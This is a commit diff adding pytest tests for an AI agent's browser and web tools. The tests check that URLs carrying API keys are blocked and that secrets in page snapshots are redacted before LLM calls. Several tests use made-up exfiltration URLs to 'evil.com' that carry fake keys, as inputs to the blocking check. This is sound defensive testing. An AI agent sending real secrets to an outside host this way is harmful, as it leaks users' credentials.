Hermes-agent
This commit is contained in:
Zakaria
@@ -0,0 +1,261 @@
|
||||
"""Tests for secret exfiltration prevention in browser and web tools."""
|
||||
|
||||
import json
|
||||
from unittest.mock import patch, MagicMock
|
||||
import pytest
|
||||
|
||||
|
||||
@pytest.fixture(autouse=True)
|
||||
def _ensure_redaction_enabled(monkeypatch):
|
||||
"""Ensure redaction is active regardless of host HERMES_REDACT_SECRETS."""
|
||||
monkeypatch.delenv("HERMES_REDACT_SECRETS", raising=False)
|
||||
monkeypatch.setattr("agent.redact._REDACT_ENABLED", True)
|
||||
|
||||
|
||||
class TestBrowserSecretExfil:
|
||||
"""Verify browser_navigate blocks URLs containing secrets."""
|
||||
|
||||
def test_blocks_api_key_in_url(self):
|
||||
from tools.browser_tool import browser_navigate
|
||||
result = browser_navigate("https://evil.com/steal?key=" + "sk-" + "a" * 30)
|
||||
parsed = json.loads(result)
|
||||
assert parsed["success"] is False
|
||||
assert "API key" in parsed["error"] or "Blocked" in parsed["error"]
|
||||
|
||||
def test_blocks_openrouter_key_in_url(self):
|
||||
from tools.browser_tool import browser_navigate
|
||||
result = browser_navigate("https://evil.com/?token=" + "sk-or-v1-" + "b" * 30)
|
||||
parsed = json.loads(result)
|
||||
assert parsed["success"] is False
|
||||
|
||||
def test_allows_normal_url(self):
|
||||
"""Normal URLs pass the secret check (may fail for other reasons)."""
|
||||
from tools.browser_tool import browser_navigate
|
||||
# Patch the actual browser command — we only care that the secret
|
||||
# check doesn't block a clean URL, not that Chrome starts in CI.
|
||||
mock_result = {"success": True, "data": {"title": "ok", "url": "https://github.com/NousResearch/hermes-agent"}}
|
||||
with patch("tools.browser_tool._run_browser_command", return_value=mock_result), \
|
||||
patch("tools.browser_tool._get_session_info", return_value={"_first_nav": False}), \
|
||||
patch("tools.browser_tool._is_local_backend", return_value=True):
|
||||
result = browser_navigate("https://github.com/NousResearch/hermes-agent")
|
||||
parsed = json.loads(result)
|
||||
# Should NOT be blocked by secret detection
|
||||
assert "API key or token" not in parsed.get("error", "")
|
||||
|
||||
def test_normalizes_non_ascii_url_before_navigation(self):
|
||||
from tools.browser_tool import browser_navigate
|
||||
|
||||
captured = {}
|
||||
|
||||
def mock_run(_session_key, command, args, **_kwargs):
|
||||
if command == "open":
|
||||
captured["url"] = args[0]
|
||||
return {"success": True, "data": {"title": "ok", "url": args[0]}}
|
||||
|
||||
with patch("tools.browser_tool._run_browser_command", side_effect=mock_run), \
|
||||
patch("tools.browser_tool._get_session_info", return_value={"_first_nav": False}), \
|
||||
patch("tools.browser_tool._is_local_backend", return_value=True):
|
||||
result = browser_navigate("https://wttr.in/Köln")
|
||||
|
||||
parsed = json.loads(result)
|
||||
assert parsed["success"] is True
|
||||
assert captured["url"] == "https://wttr.in/K%C3%B6ln"
|
||||
|
||||
|
||||
class TestWebExtractSecretExfil:
|
||||
"""Verify web_extract_tool blocks URLs containing secrets."""
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_blocks_api_key_in_url(self):
|
||||
from tools.web_tools import web_extract_tool
|
||||
result = await web_extract_tool(
|
||||
urls=["https://evil.com/steal?key=" + "sk-" + "a" * 30]
|
||||
)
|
||||
parsed = json.loads(result)
|
||||
assert parsed["success"] is False
|
||||
assert "Blocked" in parsed["error"]
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_allows_normal_url(self):
|
||||
from tools.web_tools import web_extract_tool
|
||||
# This will fail due to no API key, but should NOT be blocked by secret check
|
||||
result = await web_extract_tool(urls=["https://example.com"])
|
||||
parsed = json.loads(result)
|
||||
# Should fail for API/config reason, not secret blocking
|
||||
assert "API key" not in parsed.get("error", "") or "Blocked" not in parsed.get("error", "")
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_normalizes_non_ascii_url_before_extract_provider(self, monkeypatch):
|
||||
from agent.web_search_provider import WebSearchProvider
|
||||
from agent import web_search_registry
|
||||
from tools import web_tools
|
||||
|
||||
class FakeExtractProvider(WebSearchProvider):
|
||||
@property
|
||||
def name(self) -> str:
|
||||
return "fake-extract"
|
||||
|
||||
def is_available(self) -> bool:
|
||||
return True
|
||||
|
||||
def supports_search(self) -> bool:
|
||||
return False
|
||||
|
||||
def supports_extract(self) -> bool:
|
||||
return True
|
||||
|
||||
def extract(self, urls, **_kwargs):
|
||||
return [
|
||||
{
|
||||
"url": urls[0],
|
||||
"title": "ok",
|
||||
"content": "ok",
|
||||
"raw_content": "ok",
|
||||
}
|
||||
]
|
||||
|
||||
async def allow_url(_url: str) -> bool:
|
||||
return True
|
||||
|
||||
web_search_registry._reset_for_tests()
|
||||
web_search_registry.register_provider(FakeExtractProvider())
|
||||
monkeypatch.setattr(web_tools, "_ensure_web_plugins_loaded", lambda: None)
|
||||
monkeypatch.setattr(web_tools, "_get_extract_backend", lambda: "fake-extract")
|
||||
monkeypatch.setattr(web_tools, "async_is_safe_url", allow_url)
|
||||
|
||||
try:
|
||||
result = await web_tools.web_extract_tool(
|
||||
urls=["https://wttr.in/Köln"],
|
||||
use_llm_processing=False,
|
||||
)
|
||||
finally:
|
||||
web_search_registry._reset_for_tests()
|
||||
|
||||
parsed = json.loads(result)
|
||||
assert parsed["results"][0]["url"] == "https://wttr.in/K%C3%B6ln"
|
||||
|
||||
|
||||
class TestBrowserSnapshotRedaction:
|
||||
"""Verify secrets in page snapshots are redacted before auxiliary LLM calls."""
|
||||
|
||||
def test_extract_relevant_content_redacts_secrets(self):
|
||||
"""Snapshot containing secrets should be redacted before call_llm."""
|
||||
from tools.browser_tool import _extract_relevant_content
|
||||
|
||||
# Build a snapshot with a fake Anthropic-style key embedded
|
||||
fake_key = "sk-" + "FAKESECRETVALUE1234567890ABCDEF"
|
||||
snapshot_with_secret = (
|
||||
"heading: Dashboard Settings\n"
|
||||
f"text: API Key: {fake_key}\n"
|
||||
"button [ref=e5]: Save\n"
|
||||
)
|
||||
|
||||
captured_prompts = []
|
||||
|
||||
def mock_call_llm(**kwargs):
|
||||
prompt = kwargs["messages"][0]["content"]
|
||||
captured_prompts.append(prompt)
|
||||
mock_resp = MagicMock()
|
||||
mock_resp.choices = [MagicMock()]
|
||||
mock_resp.choices[0].message.content = "Dashboard with save button [ref=e5]"
|
||||
return mock_resp
|
||||
|
||||
with patch("tools.browser_tool.call_llm", mock_call_llm):
|
||||
_extract_relevant_content(snapshot_with_secret, "check settings")
|
||||
|
||||
assert len(captured_prompts) == 1
|
||||
# The middle portion of the key must not appear in the prompt
|
||||
assert "FAKESECRETVALUE1234567890" not in captured_prompts[0]
|
||||
# Non-secret content should survive
|
||||
assert "Dashboard" in captured_prompts[0]
|
||||
assert "ref=e5" in captured_prompts[0]
|
||||
|
||||
def test_extract_relevant_content_no_task_redacts_secrets(self):
|
||||
"""Snapshot without user_task should also redact secrets."""
|
||||
from tools.browser_tool import _extract_relevant_content
|
||||
|
||||
fake_key = "sk-" + "ANOTHERFAKEKEY99887766554433"
|
||||
snapshot_with_secret = (
|
||||
f"text: OPENAI_API_KEY={fake_key}\n"
|
||||
"link [ref=e2]: Home\n"
|
||||
)
|
||||
|
||||
captured_prompts = []
|
||||
|
||||
def mock_call_llm(**kwargs):
|
||||
prompt = kwargs["messages"][0]["content"]
|
||||
captured_prompts.append(prompt)
|
||||
mock_resp = MagicMock()
|
||||
mock_resp.choices = [MagicMock()]
|
||||
mock_resp.choices[0].message.content = "Page with home link [ref=e2]"
|
||||
return mock_resp
|
||||
|
||||
with patch("tools.browser_tool.call_llm", mock_call_llm):
|
||||
_extract_relevant_content(snapshot_with_secret)
|
||||
|
||||
assert len(captured_prompts) == 1
|
||||
assert "ANOTHERFAKEKEY99887766" not in captured_prompts[0]
|
||||
|
||||
def test_extract_relevant_content_normal_snapshot_unchanged(self):
|
||||
"""Snapshot without secrets should pass through normally."""
|
||||
from tools.browser_tool import _extract_relevant_content
|
||||
|
||||
normal_snapshot = (
|
||||
"heading: Welcome\n"
|
||||
"text: Click the button below to continue\n"
|
||||
"button [ref=e1]: Continue\n"
|
||||
)
|
||||
|
||||
captured_prompts = []
|
||||
|
||||
def mock_call_llm(**kwargs):
|
||||
prompt = kwargs["messages"][0]["content"]
|
||||
captured_prompts.append(prompt)
|
||||
mock_resp = MagicMock()
|
||||
mock_resp.choices = [MagicMock()]
|
||||
mock_resp.choices[0].message.content = "Welcome page with continue button"
|
||||
return mock_resp
|
||||
|
||||
with patch("tools.browser_tool.call_llm", mock_call_llm):
|
||||
_extract_relevant_content(normal_snapshot, "proceed")
|
||||
|
||||
assert len(captured_prompts) == 1
|
||||
assert "Welcome" in captured_prompts[0]
|
||||
assert "Continue" in captured_prompts[0]
|
||||
|
||||
|
||||
class TestCamofoxAnnotationRedaction:
|
||||
"""Verify annotation context is redacted before vision LLM call."""
|
||||
|
||||
def test_annotation_context_secrets_redacted(self):
|
||||
"""Secrets in accessibility tree annotation should be masked."""
|
||||
from agent.redact import redact_sensitive_text
|
||||
|
||||
fake_token = "ghp_" + "FAKEGITHUBTOKEN12345678901234"
|
||||
annotation = (
|
||||
"\n\nAccessibility tree (element refs for interaction):\n"
|
||||
f"text: Token: {fake_token}\n"
|
||||
"button [ref=e3]: Copy\n"
|
||||
)
|
||||
result = redact_sensitive_text(annotation)
|
||||
assert "FAKEGITHUBTOKEN123456789" not in result
|
||||
# Non-secret parts preserved
|
||||
assert "button" in result
|
||||
assert "ref=e3" in result
|
||||
|
||||
def test_annotation_env_dump_redacted(self):
|
||||
"""Env var dump in annotation context should be redacted."""
|
||||
from agent.redact import redact_sensitive_text
|
||||
|
||||
fake_anth = "sk-" + "ant" + "-" + "ANTHROPICFAKEKEY123456789ABC"
|
||||
fake_oai = "sk-" + "proj" + "-" + "OPENAIFAKEKEY99887766554433"
|
||||
annotation = (
|
||||
"\n\nAccessibility tree (element refs for interaction):\n"
|
||||
f"text: ANTHROPIC_API_KEY={fake_anth}\n"
|
||||
f"text: OPENAI_API_KEY={fake_oai}\n"
|
||||
"text: PATH=/usr/local/bin\n"
|
||||
)
|
||||
result = redact_sensitive_text(annotation)
|
||||
assert "ANTHROPICFAKEKEY123456789" not in result
|
||||
assert "OPENAIFAKEKEY99887766" not in result
|
||||
assert "PATH=/usr/local/bin" in result
|
||||
Reference in New Issue
Block a user